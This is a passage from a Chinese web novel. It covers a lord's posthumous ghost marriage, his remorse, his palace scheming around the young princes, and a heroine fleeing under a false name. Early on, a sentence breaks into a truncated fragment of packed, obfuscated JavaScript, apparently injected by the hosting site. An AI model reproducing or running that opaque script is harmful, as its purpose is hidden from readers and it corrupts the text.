他像个被抽去灵魂的木偶,机械地履行着程序,心中翻滚的只有对西郊别院的担忧和对自己做出这笔交易的深深耻辱。 安宁郡主却来了。 她坐在容修远下首,一身绛紫色宫装,庄重得近乎刻意。 她没有笑,但那双凤眸里流转的光芒,比任何笑容都更刺人。 安宁郡主以一种近乎鉴赏的姿态,观摩着这场荒诞的仪式,时而微微颔首,仿佛在点评某个环节是否合规,时而又极轻地蹙一下眉,像是遗憾少了些更精彩的戏剧冲突。 当容璟对着牌位躬身行礼时,她甚至端起茶盏,轻轻呷了一口,姿态优雅,与周遭阴森的气氛格格不入。 仪式进行到最后,族中一位须发皆白,面色惶恐却不敢违逆家主之命的老族叔,颤抖着双手,在一式两份的族谱誊录稿上,于容璟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还是要告慰她在天之灵?” 说罢,安宁郡主的目光扫过那空荡荡的嫁衣,继续带着讽刺的意味:“若她真有灵,看着这强行绑定的名分,是会觉得欣慰,还是......更加憎恶这死后都不得解脱的纠缠?” 最后的最后,安宁郡主终于问出了最核心,也最诛心的一句,声音压得极低,却如重锤击打在容璟骤然绷紧的心弦上。 “你只是无法接受失去这个事实?无法接受这世上竟有一样东西,一个人,是你容潜玉算计不来,掌控不住,最终眼睁睁看着她从你指缝里溜走的?所以,你要用这最荒唐,也最彻底的方式,在所有人都看得见的地方,打上你的印记,宣告你的所有权——哪怕对方只是一块木头,一个名字?” 安宁郡主最后缓缓吐出结论,每个字都像淬了毒的冰凌。 “你这究竟是无上深情,还是......极致的无能狂怒,与不甘失败?” 说罢,她不再等待容璟的回答,或许她早已认定他给不出答案,或许她根本不在意答案。 她只是用一种近乎怜悯的,却又冰冷透彻的目光,最后看了他一眼,仿佛在看一件精心雕琢却彻底走偏了的作品。 然后,她转身,裙裾拂过冰冷的地面,如同来时一样,优雅而疏离地,消失在了渐浓的暮色里。 留下容璟一人,独自面对满堂凝固的红色,面对香案上那块冰冷的牌位,和耳边反复回荡的,母亲那番剥皮剔骨般的诛心之言。 汀兰水榭的灯火,再次彻夜未熄。 只是这一次,灯火映照的不再是筹谋与掌控,而是一片逐渐显现的巨大空洞,和在这空洞中开始疯狂滋长,连他自己都感到陌生的痛苦。 所以容璟最初的震怒是对安宁郡主的。 她怎么敢?怎么敢用那样轻描淡写的语气,将他精心构建的仪式,他视为最终堡垒的拥有,贬损为无能狂怒和不甘失败? 容璟几乎要立刻唤人,用最冷酷的手段去提醒她谨言慎行。 但随即,一股更深沉的无力感困住了他。 他能用什么去提醒? 权势?母亲何时真正在意过? 惩罚?那只会让这场荒诞显得更加可笑。 愤怒无处着落,便转而向内焚烧。 他坐在水榭窗边,对着外面漆黑的湖水,一遍遍在心中加固自己的认知,这是必要的。只有这样才能彻底绑定。她是我的,永远都是。 那些所谓的无能,失败,不过是旁人不解深情的肤浅之见。 然而,安宁郡主的每一句质问,都像一颗毒种,落进了容璟意识最坚硬的冰层裂缝里。 “告慰她在天之灵......还是更加憎恶?” 憎恶?为什么这两个字会让他的心脏像被看不见的手狠狠抓了一下? 她当然会恨,活着的时候不就一直恨着吗?可那又怎样?恨也是联系的一种,强烈的恨意,总好过彻底的无视和遗忘......吗? 他拒绝深想,强行将思绪拉回对仪式完成的确认上。 可越是确认,那股冰冷的虚无感就越发清晰。 而后的日子,仪式带来的短暂完成感如潮水般退去,留下的是一片更加荒芜的空洞。 容璟开始长时间地待在水榭里,这里处处残留着姜于归的气息。 或者说,残留着容璟希望姜于归留下的气息。 那些精心挑选的摆设,那些符合他审美的衣物,那些记录她病情和温顺的册子...... 曾经相处的画面不受控制地闪现,越来越频繁,越来越清晰。 伴随而来的,不是占有欲得到满足的愉悦,而是一种尖锐的,细密的,无从抵御的刺痛。 容璟忽然意识到,他好像从未真正拥有过这些。 他拥有的是侧夫人姜氏,是逐渐乖顺的傀儡,是戴上他喜爱的首饰,说着他引导的话语的美丽偶人。 而他此刻疯狂怀念的,想要抓住的,却是那个会恨他,怕他,骗他,也会为别人落泪,对陌生人施以援手的,鲜活的,不受控的姜于归。 那个姜于归,被他亲手一点点扼杀了。 这个认知带来一阵强烈的眩晕和恶心。 书房内,容璟看着手边的柜子,抬手拉开,里面放着一个锦盒,打开来,里面是容璟收藏的姜于归的一枚珍珠耳钉和银簪...... 容璟看了很久很久,他回想所做的一切,精心的圈养,物质的堆砌,谎言的编织,恐惧的驯化,直至最后这荒诞的冥婚...... 在她那颗早已破碎却始终倔强清醒的心里,或许从头到尾,都是一场可悲又可怕的独角戏。 无能狂怒......不甘失败...... 安宁郡主的话,此刻化作最锋利的刀刃,将容璟所有的自欺,所有用掌控和占有编织的心理防御,彻底剖开,碾碎! “噗——” 一口腥甜的液体毫无预兆地涌上喉咙,被容璟死死压了回去,嘴角却仍溢出一丝骇人的鲜红。 不是愤怒,不是身体受损。而是一种认知彻底崩塌,信仰全然溃败后,灵魂被撕扯的剧痛。 他踉跄着后退,扶住冰冷的墙壁,才勉强站稳。视线死死锁在那锦盒上,眼前却阵阵发黑。 原来......这就是失去。 不是失去一件藏品,一个所有物。 是失去一个他从未真正得到,却早已在不知不觉中嵌入了自己生命血肉的人。 他以为的驯服,是把她变成他想要的样子,可实际上,他是在用最残忍的方式,摧毁那个唯一让他感觉到真实与生动的存在。 而容璟给予姜于归的,只有欺骗,囚禁,恐吓,无尽的痛苦,以及最终这死后都不得安宁的,令人作呕的名分。 他给她的,从头到尾,没有一丝一毫,配称之为爱。甚至不配称之为善待。 可容璟现在这撕心裂肺的痛,这无边无际的空洞,这宁愿毁掉一切换姜于归重新睁眼哪怕是用最憎恨的眼神看他的渴望......又是什么? 一个清晰无比,却又鲜血淋漓的答案,在他破碎的意识中,艰难地,却无可回避地浮出水面。 是爱。 他爱她。 从何时开始? 是一次次与她交锋时,被她坚韧与聪慧隐隐吸引的不甘,或许更早,在他自己都未曾察觉的深渊里,那颗扭曲的种子就已埋下。 只是这爱,生在他这片情感早已荒芜扭曲的土壤里,长出的不是呵护的藤蔓,而是名为占有和毁灭的毒刺。 容璟用伤害来表达关注,用囚禁来确认安全,用谎言来维系联系,最终用一场荒诞的冥婚,为这畸形的爱,画上了一个最讽刺,也最可悲的句号。 他爱她。 而他爱她的方式,就是亲手将她推向了死亡。 这个认知带来的痛苦,远超以往任何一次挫败,背叛或失去。 那是将心脏生生剜出,放在她可能存在的在天之灵面前,任由那无形的目光审判的凌迟。 每一寸呼吸,都带着罪孽的灼痛。 认清了,痛苦了,然后呢? 没有解脱,只有更深的绝望。 他什么也做不了——除了,将她更深地,刻进自己的骨血与命运里。 你恨我,我知道。 你该恨。是我毁了你。 可是——我绝不放手。 姜于归,我便等着。这辈子,下辈子,你恨我多久,我等你多久。纠缠多久。 容璟迅速的消瘦下去,气质中的温润彻底消失,取而代之的是一种玉石将碎前的冰冷与脆弱,却又在眼底最深处,燃烧着一点不灭的,幽暗的执火。 他的脊背挺得笔直,因为他正在用全部的意志,背负起这份由爱欲,罪孽与永恒占有欲混合而成的沉重十字架。 这十字架,就是她留给他的,唯一的,也是永恒的拥有。 安宁郡主某次“偶然”路过水榭,隔窗瞥见他独坐的身影,脚步微顿。 她没有进去,只是在窗外站了片刻,看着容璟那沉浸在巨大痛苦中,却隐约透出一种异样平静的侧影,脸上惯常的讥诮与玩味,第一次缓缓褪去。 取而代之的,是一种极淡的,近乎虚无的了然,以及一丝连她自己都未曾察觉的,极其复杂的寂寥。 她轻轻扯了一下唇角,最终什么也没说,转身离开了。 风穿过空寂的庭院,卷起几片枯黄的落叶。 汀兰水榭内,香炉冷寂。容璟的指尖,无意识地拂过冰凉的牌位边缘,触感坚硬,没有一丝温度。 他爱她,他终于知道了。 这份知道,来得太迟,代价太大,并且,无人回应。 可那又如何? 他的爱,从来就不需要回应。只需要存在——以最扭曲,最痛苦,最永恒的方式,存在于他与她之间。 这便是他认罪伏法后,为自己判处的,无期徒刑的执行方式。 盛京,荣国公府。 秋意深浓,庭前的银杏叶子落了一地金黄,无人打扫,任由它们铺陈着一种刻意为之的萧索。 容璟称病告假,已有月余。 朝野皆知,荣国公世子因痛失爱侣,心神俱伤,闭门谢客。 那场惊世骇俗的冥婚,似乎耗尽了他所有的偏执与气力,只留下一具依旧挺拔,却仿佛被抽空了内里的躯壳,沉寂在汀兰水榭日渐冷寂的灯火里。 皇帝遣了内侍来探问过两次,赐下珍稀药材,口谕让他好生将养。 太子也送了补品,言辞恳切,嘱他以国事为重,早日振作。 容璟皆恭敬领受,面色苍白地谢恩,然后继续他的“静养”。 他并非全然做戏。 那蚀骨的钝痛与虚空,日夜啃噬,并非虚假。 只是,痛苦到了极致,反而淬炼出一种冰晶般的清明。 他比任何时候都更清醒地看到,自己正站在一个微妙至极的节点上。 睿王覆灭,薛家烟消云散,东宫看似一枝独秀,权势煊赫。 可那龙椅上的君王,他的舅父,真能安然高卧,看着储君羽翼日丰,毫无芥蒂么? 制衡。 这是帝王心术的骨髓。 从前有睿王,有薛家,皇帝可以借力打力,安稳持衡。 如今最大的砝码碎了,天平陡然倾斜,那高高在上的持衡者,最先感到的绝不会是轻松,而是——失控的警惕。 容璟要做的,就是耐心等待这份警惕发酵,然后,递上一枚新的,看起来完全无害,甚至忠心可嘉的砝码。 他不再主动关注朝局,却对青龙台每日送来的密报看得越发仔细。 哪些东宫属官升迁了,哪些位置太子的人想要安插却受阻了,皇帝对太子的奏请是爽快应允还是略有迟疑...... 点点滴滴,汇成容璟判断风向的涓流。 终于,在一个秋雨绵绵的傍晚,一顶不起眼的青昵小轿,从皇宫侧门悄无声息地驶出,绕了几条僻静巷道,停在了荣国公府的后角门。 来的是皇帝身边最心腹的首领太监,脸上永远挂着恰到好处的恭谨笑容:“陛下挂念世子身子,特命老奴前来,请世子入宫......说话。” 说话,而非觐见。 地点也非寻常宫殿,而是皇帝日常起居的暖阁。 容璟换了身素净的常服,跟着太监,穿过重重宫禁。 雨丝斜飞,打湿了衣摆,带来深秋的寒意。 他知道,他等待的时机,或许到了。 暖阁内,地龙烧得暖融,驱散了外面的潮湿阴冷。 皇帝未着龙袍,只一身赭色常服,倚在榻上,手里拿着一份奏章,眉宇间有一丝不易察觉的倦怠与沉凝。 见容璟进来行礼,皇帝摆了摆手,赐了坐,目光在他清减了不少的脸上停留片刻,叹道:“潜玉,看着是清减了。逝者已矣,还需保重自身。” 容璟垂眸:“劳陛下挂心,是臣无用。” 皇帝摇摇头,似乎不欲多谈此事,转而将手中的奏章轻轻搁在一边:“非你无用,是情深不寿,近日朝中,倒是清净了不少。” 他语气平淡,听不出是满意还是别的什么,目光却落在容璟身上,带着一种长辈打量子侄般的随意,又夹杂着帝王特有的审视:“太子办事,越发稳妥了。只是这朝堂上下,一个声音太大,久了,也难免让人......听不清其他的动静。你虽病着,耳朵总还灵光,可曾听到些什么?” 容璟心头微凛,知道重点来了。 皇帝这是在试探,也是在寻找一个能听懂他弦外之音,又足够置身事外的人。 容璟脸上适当的露出一点病后的茫然与谨慎,斟酌着道:“臣缠绵病榻,耳目闭塞,只知东宫为国事劳心,上下称道。朝堂安稳,乃是社稷之福。只是......” 他顿了顿,像是忽然想起什么无关紧要的琐事:“前几日听府中老仆闲聊,说起他乡下的远亲,因家中独子骄纵,无人管束,后来惹出大祸,连累了全族。虽是村野闲谈,倒也让臣想起......睿王殿下昔年......” 容璟没有说完,恰到好处的停住,脸上露出一丝恰到好处的,属于病人的唏嘘与后怕。 皇帝的眸光几不可察的深了一瞬。 容璟这话,看似在感慨睿王的教训,实则递了两个钩子。 一是独子骄纵无人管束的隐患,二是全族连累的后果。 而联系到眼下,东宫不就是唯一的嫡长独子么?朝堂若只剩东宫一个声音,将来若有差池,牵连的可是整个李氏江山。 “孩童教化,确是要紧。” 皇帝缓缓开口,手指无意识地敲着榻沿:“不独民间,天家亦然。太子是兄长,底下那些小的,也该学着懂些规矩道理,将来才好为兄长分忧,为朝廷效力。只是如今教导皇子们的,多是东宫荐来的人,学问是好的,只怕过于拘泥......” 容璟立刻露出深以为然的神色,接口道:“陛下圣明。皇子教育,关乎国本,尤其是几位年幼的殿下,心性未定,正需德才兼备,眼界开阔的师长引导,不仅授以经史,更需明辨是非,知晓敬畏,懂得......兄弟同心,其利断金,更要明白,君父在上,纲常伦序不可或忘。如此,方能避免再生......兄弟阋墙之憾。” 容璟这番话,说得恳切无比,完全是一副为君分忧,为皇室和睦着想的忠臣模样。 他没有提具体哪个皇子,而是泛泛说几位年幼的殿下,将十一皇子李昭珣完美地隐藏在其中。 容璟重点强调了两点,教育权不能由东宫垄断,教育的核心是忠君敬父,遵守秩序。 这完全戳中了皇帝此刻最深的隐忧。 他怕太子势力太大,更怕其他儿子不懂事,将来要么被太子压垮,要么......再生出第二个睿王。 皇帝沉默了片刻,暖阁内只有更漏滴滴答答的声响。 良久,他才似是疲惫,又似是下了决心般道:“你所言,不无道理。是朕往日疏忽了。太子忙于国事,那些小的,也不能放任自流。此事......朕会斟酌。” 容璟知道火候已到,立刻起身,躬身道:“陛下深谋远虑,实乃江山之幸。臣妄言,只因感念陛下信重,不忍见天家或有微瑕。无论陛下如何圣裁,臣......永远是陛下的臣子,唯陛下之命是从。” 他这话,是在明确切割与东宫的属臣关系,向皇帝个人效忠。 皇帝用他,正是因为他有皇室血脉却无继承权,与皇子们无直接利益冲突,又是亲手提拔的孤臣。 果然,皇帝脸上露出一丝缓色,挥了挥手:“你的忠心,朕知道。回去好生养着吧,朕......还需你。” “臣,告退。” 容璟退出暖阁,重新走入秋雨之中。 冰冷的雨丝打在脸上,他眼底那点病弱的迷茫早已消散殆尽,只剩下一片沉静的幽深。 种子已经种下。以皇帝多疑且热衷制衡的性子,必然会开始重新关注并插手年幼皇子的教育。 只要皇帝动了这个念头,剩下的事情,就好办多了。 东宫或许会不满,但短时间内绝不敢反对父皇关爱幼弟的美意。 而在一众年幼皇子中,谁能最终进入皇帝的视线,获得更多的关爱,那就要看日后,谁的表现更“恰当”,谁身边的“师长”引导得更“得力”了。 至于十一皇子李昭珣......他有的是耐心和手段,让皇帝“自己”发现,这个生母卑微,性情看似温钝的孩子,或许才是最懂得“敬畏君父”,最没有威胁,也最需要“精心教导”的那一个。 与此同时,距盛京两百余里外,一个靠近运河支流的小镇上。 秋雨同样笼罩着这里的灰瓦白墙,只是比起帝都的肃杀,更多了几分江南烟雨的潮润与寂寥。 镇东头一家门脸不大的客栈后院里,最便宜的,靠近马厩的厢房内,姜于归坐在唯一一张瘸腿的木凳上,望着窗外连绵的雨幕,手里无意识地攥着一块硬邦邦的,掺了太多麸皮的粗面饼子。 她身上的衣裳是粗糙的靛蓝棉布,洗得发白,头发用一根木簪草草挽着,脸上刻意涂抹了些灶灰,显得面色蜡黄。 唯有那双眼睛,在偶尔抬起的瞬间,会泄露出与这身装扮格格不入的,过于清亮的光,但那光里也盛满了惊弓之鸟般的警惕与疲惫。 距离那场血色婚礼,已经过去两个多月。 冰冷的护城河水,混乱的厮杀声,坠落的窒息感......依然是她每夜闭上眼就会袭来的梦魇。 但比梦魇更现实的,是醒来后面对的这个陌生世界,和悬在头顶的,名为身份的利剑。 109. 第 109 章 她被河水冲往下游,侥幸挂在了一段浮木上,飘了不知多久,最终被清晨撒网的渔民发现,拖上了岸。 那户人家心善,见她还有气,又一身狼狈的红衣碎片,以为她是遭了水匪的可怜人,便收留了她。 她不敢说实话,只哑着嗓子,含糊说自己姓姜,家乡遭了兵灾,与家人失散,落了水。 好在这小镇地处南北要冲,薛家叛乱虽被迅速平定,但初期一些小规模的溃兵流窜,官府盘查,也确实造成了一些混乱和流民。 镇上临时设了点儿,登记这些来历不明却又查无实据的流离者,重新核发路引,许他们往原籍或投亲。 姜于归知道,这是她摆脱黑户,获得合法身份远走高飞的唯一机会,也是最大的危险。 那日,在破旧的里正公所里,面对着满脸不耐,叼着旱烟管的书办,她心跳如擂鼓。 “姓名?”书办头也不抬。 “姜......姜于。” 她几乎脱口而出那个刻在骨子里的名字,又在最后一个字即将出口时,生生咬住舌尖,改成了气音。 “......月......姜月。” 书办撩起眼皮瞥了她一眼,笔下顿了顿:“哪儿人?” “清溪镇......” 她声音干涩,这是她唯一能报出的,真实的籍贯。 撒谎需要更多的谎言去圆,她不敢。 “家里还有什么人?” “没......没了。都散了。”她低下头,肩膀微微瑟缩,这倒不全是演戏。 书办啧了一声,在簿子上草草记了几笔,然后撕下一张盖了模糊红戳的纸条递给她:“等着吧。已行文去清溪镇核查。核实无误,方可领取新路引。在此期间,不得离开本镇。” 那张轻飘飘的纸条,却像有千钧重,压得姜于归几乎喘不过气。 核查......清溪镇哪里有叫姜月的,与她年岁相当的女子?一旦那边回文说查无此人,等待她的会是什么?更严密的盘查?还是直接押送......回盛京? 巨大的恐惧攫住了她。她甚至不敢深想盛京两个字。 等待的日子,像在刀尖上行走。 手上还有几件当日大婚没有脱落的首饰,如今成了她活下去的资本。 她没敢整件拿去当铺,那太扎眼。 她小心翼翼地将镯子折断,耳坠分开,一点一点地出手。 即便如此,换来的散碎银两和铜钱,也是一笔不小的数目,足够普通人家过上一两年。 她租下了这间最便宜,也最不起眼的客栈后房,深居简出。 但姜于归不敢露富,每日只吃最粗粝的食物,穿最廉价的衣裳,尽量减少与外人接触。 剩下的银钱,被她仔细地分开藏在床板下,墙缝里,甚至随身包袱的夹层中。 夜里稍有风吹草动,她就会惊醒,竖着耳朵听半晌,确认无事,才能再次勉强合眼。 她像一只惊惶的鼹鼠,在黑暗的洞穴里囤积粮草,却不知道头顶的土地何时会塌陷。 日子一天天过去,公所那边杳无音讯。每一日都漫长如年。 姜于归开始反复推演,如果被查出来该怎么办?跳河?还是钻进山林?可她没有路引,能逃到哪里去?天下之大,莫非王土...... 就在姜于归几乎要被这无望的等待逼疯时,一个同样秋雨淅沥的午后,那个书办打着哈欠,晃到了客栈门口,冲着里面喊了一嗓子:“姜月!姜月是不是住这儿?” 姜于归正在房里缝补一件旧衣,闻声手一抖,针尖狠狠扎进了食指,沁出一粒鲜红的血珠。 她顾不上疼,猛地站起身,心脏狂跳着,几乎要冲破喉咙。 姜于归强迫自己稳了稳呼吸,拉开门,低着头走出去,声音细若蚊蚋:“我是姜月......” 书办上下打量了她一眼,似乎也没兴趣多看,从怀里掏出一张盖了官印的纸递过来,语气一如既往的不耐烦:“喏,你的路引。清溪镇那边回文了,情况属实。准你前往投亲。收拾收拾,早点走人。” 姜于归接过那张纸,手指微微发抖。纸上墨字清晰,官印鲜红,写明“姜月,年十八,清溪镇人氏,因故流离,准予通行,投亲谋生”。 是真的?清溪镇真的有一个叫姜月,且恰好查无问题的女子? 巨大的,劫后余生般的虚脱感瞬间席卷了她,让她腿脚发软,几乎站立不住。 姜于归死死捏着那张路引,仿佛捏着一条从地狱伸出的,却将她拉回人间的绳索。 她不知道,千里之外的清溪镇县衙,经历薛家叛乱前后的各种文书交接混乱,人手不足,对于这类“流民核查”的公文,早已是敷衍了事。 只要籍贯大致对得上,姓名年龄相差不离,又无海捕文书明确指明,多半便含糊应允,多一事不如少一事。 而“姜月”这个名字,或许真的存在,或许只是某个小吏偷懒随手一勾的产物。 无论如何,对姜于归而言,这已是天大的幸运。 她对着书办千恩万谢,回到房里,关上门,背靠着冰冷的门板,缓缓滑坐在地。 路引在手,她终于可以离开了。 离开这个让她提心吊胆的小镇,离开盛京的辐射范围,去一个更远,更安全的地方。 她收拾起简单的行囊,将藏好的银钱仔细贴身收好。对着模糊的铜镜,她看着镜中那个面色憔悴,眼神却比任何时候都清醒决绝的女子。 姜于归已经“死”在了盛京的护城河里,死在了睿王叛乱的乱刀之下。 从今往后,她是姜月。 姜于归最后看了一眼这个庇护了她两个多月的简陋房间,推开房门,头也不回地走进了蒙蒙秋雨之中,朝着与盛京相反的方向,步履缓慢却坚定地,消失在长街的尽头。 雨丝纷飞,模糊了前路,也模糊了来路。 一场以生死为界的逃离,在历时两月余的蛰伏与煎熬后,终于迈出了实质性的第一步。 秋去冬来,盛京的寒意一年深过一年,不仅冻入骨髓,也悄然冻凝了某些原本看似坚固的东西。 皇帝对容璟的倚重,日甚一日。 除了刑部与青龙台,一项更微妙,也更显亲厚的职责,落在了容璟肩上——协理几位年幼皇子的读书进益。 圣旨下得温和,道是容璟学识渊博,品性端方,又是自家人,由他时不时去上书房走动,考较功课,引导心性,最是合适不过。 满朝皆知,这是天大的恩宠与信任。 信任他身有皇室血脉,是“自己人”,更信任他这一支早已远离帝系,无嗣可争,是绝无可能对龙椅产生威胁的“干净人”。 东宫最初听闻,只是笑了笑,对前来回话的属官道:“潜玉辛苦,为孤分忧,教导幼弟,亦是佳话。” 然而,佳话之下的暗流,很快便湍急起来。 先是太子举荐的两位地方大员迁调之事,被皇帝以还需斟酌为由搁置,转而提拔了两位资历相仿,却与东宫无甚瓜葛的官员。 接着,一次朝会上,太子就北方军镇改制提出方略,言之有物,条理清晰,附和者众。 皇帝听罢,却未立刻准奏,只淡淡道:“太子心系边务,其志可嘉。只是变革之事,牵一发而动全身,还需广纳众议,细细推敲。容璟,你兼理刑部与京畿防务,于实务更熟,你以为如何?” 众目睽睽之下,皇帝将太子的提案,抛给了容璟品评。 殿内霎时一静。 容璟出列,躬身,语气是一贯的平稳恭谨:“太子殿下高瞻远瞩,所虑深远。臣唯觉,改制之初,或可先择一两处无关紧要的边镇试行,观其成效,再议推广。如此,既全殿下革新之志,亦免仓促之间,生出差池。” 他看似支持,实则将太子的全面改革,拆解成了小心翼翼的试行。既未驳皇帝面子,也未曾真正站在太子一边。 皇帝抚须,未置可否,只道:“容卿所言,老成谋国。太子,你以为呢?” 太子的笑容在脸上滞了一瞬,旋即恢复温雅:“潜玉思虑周全,是儿臣急躁了。便依此议吧。” 退朝后,东宫书房内,太子屏退左右,只留下容璟。 炉火暖融,茶香袅袅,太子的脸上却没了往日的从容,眉宇间凝着一层化不开的沉郁。 “潜玉。” 太子声音压低,带着难得的困惑与一丝不易察觉的焦灼:“父皇近来......对孤所奏之事,多有留难。今日殿上,更是......你实话告诉孤,父皇可是对孤......有所不满?还是因着睿王之事,心中仍有芥蒂,迁怒于孤?” 容璟捧着茶盏,暖意透过瓷壁传来,却暖不进眼底。 他沉默片刻,方才缓缓开口,声音里带着恰到好处的理解与宽慰:“殿下多虑了。陛下乃天下君父,对殿下寄予厚望,要求严些,亦是常情。至于今日之事......” 他顿了顿,抬眼看向太子,目光诚恳:“陛下或许是......想起了睿王。兄弟阋墙,乃陛下心头大痛。如今几位小殿下日渐长大,陛下难免会多思虑一层,怕殿下忙于国事,疏于关爱幼弟,更怕......底下人妄自揣测,生出不必要的误会。陛下此举,非是对殿下不满,或许......正是期盼殿下能主动垂范,彰显兄友弟恭,以安圣心。” 容璟巧妙地将皇帝的打压,解释为父爱的考验和对过往悲剧的防范,并将责任引向了底下人和误会。 太子听罢,眉头未展,但眼中凌厉稍退,化为一声复杂的长叹:“是了......是孤疏忽了。父皇用心良苦。” 他看向容璟,语气恢复了惯常的亲近:“潜玉,有你在一旁提醒,孤心甚安。日后在书房,还要你多费心,既教导弟弟们,也......替孤多看顾些。莫要让小人离间了天家骨肉。” 容璟垂首应道,姿态恭顺无比:“臣,必当竭尽全力。” 步出东宫时,天色已晚,寒星点点。 容璟唇边那抹恭顺的弧度,在夜色中无声消散,化作一片冰冷的漠然。 看顾?离间? 他自然会——竭尽全力。 几个月后,九皇子在御花园练习骑射时,所用的弓弦意外崩断,惊了马匹,虽被侍卫及时救下,仍摔伤了手臂。 经查,那弓弦保养记录不全,最后经手的一名内侍,与东宫一位采买管事有远亲。 皇帝闻报,摔了手中的和田玉镇纸。 他没有立刻发作东宫,只是去探望九皇子时,看着幼子疼得苍白的脸和惊惶的眼神,沉默了许久。 又过月余,十皇子在一场由几位清流翰林做评判的诗会上拔得头筹,被盛赞“有悯农恤下之心,仁君之象”。 不久,某位素以耿直闻名的御史,便在奏章中无意提及,听闻十皇子勤勉好学,常与翰林探讨经世济民之道,深孚众望云云。 皇帝将奏章留中不发,却在次日召见太子时,淡淡问了一句:“朕听说,承珣近来学问大进,很是得了些清流青睐。你这个做兄长的,可知晓?” 太子背脊瞬间沁出一层冷汗,连忙道:“儿臣忙于政务,对弟弟们课业疏于过问,是儿臣失职。承珣年幼,偶得佳句,不过是先生们鼓励罢了,当不得真。” “鼓励?” 皇帝轻笑一声,那笑意却未达眼底:“过犹不及。你是储君,当知木秀于林,风必摧之的道理。有些风,该挡的时候,要挡一挡。” 太子心头巨震,伏地称是。 退出殿外时,冬日的阳光明晃晃的,他却觉得通体生寒。这风,从何而起? 他目光下意识地投向宫墙某处,那里是几位年幼弟弟的住所。 东宫属官几次清查,皆无线索,反而更显得东宫紧张过度,气量狭小。 而这一切风浪的中心,容璟却仿佛置身事外。 容璟适时出现在御前,或为太子解释两句殿下必不知情,或为受伤受谤的皇子恳求陛下,莫要深究以免伤了和气,一副忧心忡忡,唯恐天家失和的忠臣模样。 他甚至未雨绸缪,在一次十一皇子感染风寒略重时,担忧的建议加强十一皇子身边的护卫,并不慎让皇帝知晓,十一皇子病中曾呓语怕兄长生气。 尽管事后查明,十一皇子只是梦魇,但一颗猜疑的种子,已悄然种下。 终于,在十一皇子一次不慎落水后,皇帝看着病榻上小脸烧得通红,懵懂无知的幼子,再想起前番种种,胸中那股被刻意压制的怒火与疑惧,再也按捺不住。 他将茶盏重重顿在案上,对侍立一旁的容璟沉声道:“盛京是非地,人心诡谲。这几个小的留在宫里,朕看也是不得安宁!不如让他们出去走走,见识见识民间疾苦,也......避避风头!” 容璟立刻躬身:“陛下圣明。读万卷书,行万里路,于殿下们成长大有裨益。只是......” 他面露难色:“九殿下臂伤未愈,十殿下近日也感了风寒,恐不宜长途跋涉。唯有十一殿下,年纪虽小,身子倒将养过来了......” 皇帝烦躁地挥挥手:“那就让昭珣去!你亲自带着,务必保他周全!去个清净些的地方,莫要走远了,看看漕运,访访民情便是。” 容璟领命,垂下的眼眸中,一片冰封的平静:“臣,遵旨。” 李昭珣,十一皇子,今年刚满十三岁。 生母是个早已病故的末等更衣,母族寒微得近乎于无。在美人如云,争斗不休的后宫,他像石缝里一株缺光少水的草,默默无闻地长大。 他不算顶聪明,至少没有他四哥睿王当年的机敏狠辣,也没有太子长兄的沉稳气度。 诗书骑射,皆是平平。唯有一双眼睛,清澈见底,带着一种未经世事的单纯,和深宫里长大的孩子本能的小心翼翼。 他对容璟是真心感激的。 在他模糊的认知里,这位总是温和有礼,会在父皇面前为他说话的璟表哥,是这冰冷宫墙内,少数对他释放善意的人。 虽然璟表哥偶尔看向他的目光,深邃得让他有些看不懂,但那一定是关切吧? 离京那日,天色阴郁。轻车简从,除了必要的侍卫和仆役,容璟只带了两个沉稳的老嬷嬷和一位寡言的太医。 所谓的历练,不过是沿着运河,走访几处重要的码头,粮仓,听地方官员呈报些冠冕堂皇的数据,看看修缮整齐的河堤。 容璟并不真的指望李昭珣能看出什么门道,他只需要这位皇子出来过,并且,在他的保护下。 行程过半,抵达运河中段一个因漕运而兴,颇为繁华的城镇——临河镇。 意外如期而至。 在视察一处码头货栈时,人群突然拥挤混乱,侍卫一时疏忽,竟与十一皇子走散。 等回过神来,那穿着普通富家小公子服饰的少年,已不见了踪影。 消息报上来时,容璟正在驿站听本地知县战战兢兢地汇报。 他勃然大怒,厉声下令全城搜寻,并急报盛京,字里行间暗示此乃有人不愿见十一皇子安然离京,胆大包天,竟敢追至此处行凶! 他要的,就是这份奏报抵达御前时,皇帝脑海中会自然浮现出的那个影子。 然而,计划出现了微不足道的偏差。 李昭珣是真的走丢了。 他被人群裹挟着,稀里糊涂钻进了一条陌生的巷子,越走越偏,绕来绕去,竟彻底迷失了方向。 初冬的寒风刮在脸上,身边是全然陌生的市井景象,吆喝声,车马声嘈杂混乱。 他紧紧拽着衣角,心里又慌又怕,想找人问路,却又牢记着嬷嬷教导的不可与陌生人轻言,只能像只没头苍蝇般乱撞。 腹中饥饿,身上带的几块碎银子也不知丢在了哪里。 就在他又冷又饿,几乎要哭出来时,一股异常诱人的食物香气,顺着风飘了过来。 那香气温暖,踏实,带着家的味道,与他记忆中冰冷御膳房出来的精美菜肴截然不同。 他像被无形的手牵引着,循着香气,走到了一条相对安静的街巷,停在了一家店面不大,却收拾得十分洁净雅致的小酒肆门前。 匾额上写着三个清秀的字——归月楼。 门帘掀开,暖意夹杂着更浓郁的香气涌出。 一个系着干净围裙,面容清丽温婉的女子正送客人出来,脸上带着浅浅的笑意,目光扫过门口冻得鼻尖发红,不知所措的少年,微微一愣。 她的声音柔和,像春风拂过柳梢:“小公子,可是要用饭?里面请。” 李昭珣看着她,那双眼睛干净明亮,没有宫里人那种审视或谄媚,只有纯粹的善意。 他犹豫了一下,腹中的轰鸣和身体的寒冷最终战胜了警惕,低着头,跟着她走了进去。 店堂不大,只摆着四五张榆木桌子,却座无虚席。 人们低声谈笑,吃着热气腾腾的饭菜,气氛温馨而热闹。 女子将他引到柜台边一个相对安静的小桌旁坐下,递过一杯温热的茶水:“先喝口茶暖暖。想吃点什么?我们这儿有家常的焖鱼,笋干烧肉,还有今日新做的鸡汤煨面,最是暖和。” 李昭珣捧着茶杯,暖意从掌心蔓延,他小声道:“煨面就好。多谢......姐姐。” 女子笑了笑,转身去了后厨。 不多时,一碗热气腾腾,汤汁浓郁,铺着嫩黄鸡丝和翠绿青菜的煨面便端了上来。 